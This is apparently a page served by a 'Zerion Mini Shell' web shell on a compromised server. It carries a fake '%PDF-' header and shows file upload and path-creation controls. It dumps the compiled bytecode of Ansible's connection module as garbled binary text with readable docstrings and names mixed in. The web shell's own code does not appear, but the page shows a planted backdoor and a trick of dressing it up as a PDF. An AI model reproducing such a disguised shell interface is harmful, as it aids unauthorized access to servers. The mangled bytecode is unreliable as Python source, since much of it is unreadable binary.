%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/__pycache__/connection.cpython-39.pyc

a

�)g� �@s�ddlmZmZmZeZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZddlmZmZddlmZddlmZddlmZdd	�Zd
d�Zdd
�Zdd�Zdd�ZGdd�de�ZGdd�de�Z dS)�)�absolute_import�division�print_functionN)�partial)�to_bytes�to_text)�AnsibleJSONEncoder)�	iteritems)�cPicklecCs`tj|dd�}|�dd�}tt�|����}t�|dt	|��t�||�t�|d|�dS)z�Handles making sure all data is properly written to file descriptor fd.

    In particular, that data is encoded in a character stream-friendly way and
    that all data gets written before returning.
    r)Zprotocol�
s\rs%d
s%s
N)
r
�dumps�replacer�hashlibZsha1Z	hexdigest�os�write�len)�fd�obj�srcZ	data_hash�r�C/usr/lib/python3.9/site-packages/ansible/module_utils/connection.py�write_to_file_descriptor/srcCst�dt|��}|�||�S)N�!Q)�struct�packrZsendall)�s�dataZ
packed_lenrrr�	send_dataFsrcCs�d}td�}t|�|kr<|�|t|��}|s2dS||7}qt�d|d|��d}||d�}t|�|kr�|�|t|��}|s�dS||7}q`|S)N��rr)rrZrecvr�unpack)rZ
header_lenr�dZdata_lenrrr�	recv_dataKs

r"c
Csrt|j�}z|�|�}WnNtyf}z6t|dd�}t|d|�}|dt|dd�fWYd}~Sd}~00d|dfS)N�code��errr�surrogate_then_replace��errorsr)�
ConnectionZ_socket_path�exec_command�ConnectionError�getattrr)�moduleZcommandZ
connection�out�excr#�messagerrrr*]s
(r*cOs(tt���}d||d�}||f|d<|S)Nz2.0)Zjsonrpc�method�id�params)�str�uuidZuuid4)Zmethod_�args�kwargs�reqid�reqrrr�request_builderhsr:cseZdZ�fdd�Z�ZS)r+cs2tt|��|�t|�D]\}}t|||�qdS)N)�superr+�__init__r	�setattr)�selfr0r6r7�k�v��	__class__rrr<rszConnectionError.__init__)�__name__�
__module__�__qualname__r<�
__classcell__rrrArr+psr+c@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)r)cCs|durtd��||_dS)Nzsocket_path must be a value)�AssertionError�socket_path)r>rHrrrr<zszConnection.__init__cCsNz|j|WStyH|�d�r8td|jj|f��t|j|�YS0dS)N�_z!'%s' object has no attribute '%s')�__dict__�KeyError�
startswith�AttributeErrorrBrCr�__rpc__)r>�namerrr�__getattr__s
zConnection.__getattr__c
Os�t|g|�Ri|��}|d}tj�|j�s:td|j��ztj|tdd�}Wn4t	y�}ztdt
|���WYd}~n
d}~00z|�|�}WnFtj
y�}	z,td|jt
|	dd�t��d	��WYd}	~	n
d}	~	00zt�|�}
Wnlt�yT|�d
��rtd�||���dd
�|D�dd
�t|�D�}d�|�}td�|||���Yn0|
d|k�rltd��d|
v�r�t�t|
d��|
d<|
S)Nr2z�socket path %s does not exist or cannot be found. See Troubleshooting socket path issues in the Network Debug and Troubleshooting GuideT)�clsZ
vault_to_textzqFailed to encode some variables as JSON for communication with ansible-connection. The original exception was: %szuunable to connect to socket %s. See Troubleshooting socket path issues in the Network Debug and Troubleshooting Guider&r'�r%�	exceptionZ
set_optionz;Unable to decode JSON from response to {0}. Received '{1}'.cSsg|]}t|��qSr)�repr)�.0�argrrr�
<listcomp>��z,Connection._exec_jsonrpc.<locals>.<listcomp>cSsg|]\}}d�||��qS)z	{0}={1!r})�format)rUr?r@rrrrW�rXz, z@Unable to decode JSON from response to {0}({1}). Received '{2}'.zinvalid json-rpc id receivedZresult_type�result)r:r�path�existsrHr+�jsonrr�	TypeErrorr�send�socket�error�	traceback�
format_exc�loads�
ValueErrorrLrYr	�joinr
r)r>rOr6r7r9r8rr/r.�e�responser3rrr�
_exec_jsonrpc�sT������
� 
�

zConnection._exec_jsonrpccOs`|j|g|�Ri|��}d|vrX|�d�}|�d�p:|d}|d}tt|dd�|d��|dS)	a�Executes the json-rpc and returns the output received
           from remote device.
           :name: rpc method to be executed over connection plugin that implements jsonrpc 2.0
           :args: Ordered list of params passed as arguments to rpc method
           :kwargs: Dict of valid key, value pairs passed as arguments to rpc method

           For usage refer the respective connection plugin docs.
        rarr0r#r&r')r#rZ)ri�getr+r)r>rOr6r7rhr%�msgr#rrrrN�s

zConnection.__rpc__c
Cs�z6t�tjtj�}|�|j�t|t|��t|�}WnNtjy�}z4|�	�t
d|jt|dd�t�
�d��WYd}~n
d}~00|�	�t|dd�S)Nzmunable to connect to socket %s. See the socket path issue category in Network Debug and Troubleshooting Guider&r'rRZsurrogate_or_strict)r`ZAF_UNIXZSOCK_STREAMZconnectrHrrr"ra�closer+rrbrc)r>rZsfrhrgrrrr_�s��zConnection.sendN)rCrDrEr<rPrirNr_rrrrr)xs
1r))!Z
__future__rrr�typeZ
__metaclass__rrr]r`rrbr5�	functoolsrZansible.module_utils._textrrZ ansible.module_utils.common.jsonrZansible.module_utils.sixr	Zansible.module_utils.six.movesr
rrr"r*r:�	Exceptionr+�objectr)rrrr�<module>s(

Zerion Mini Shell 1.0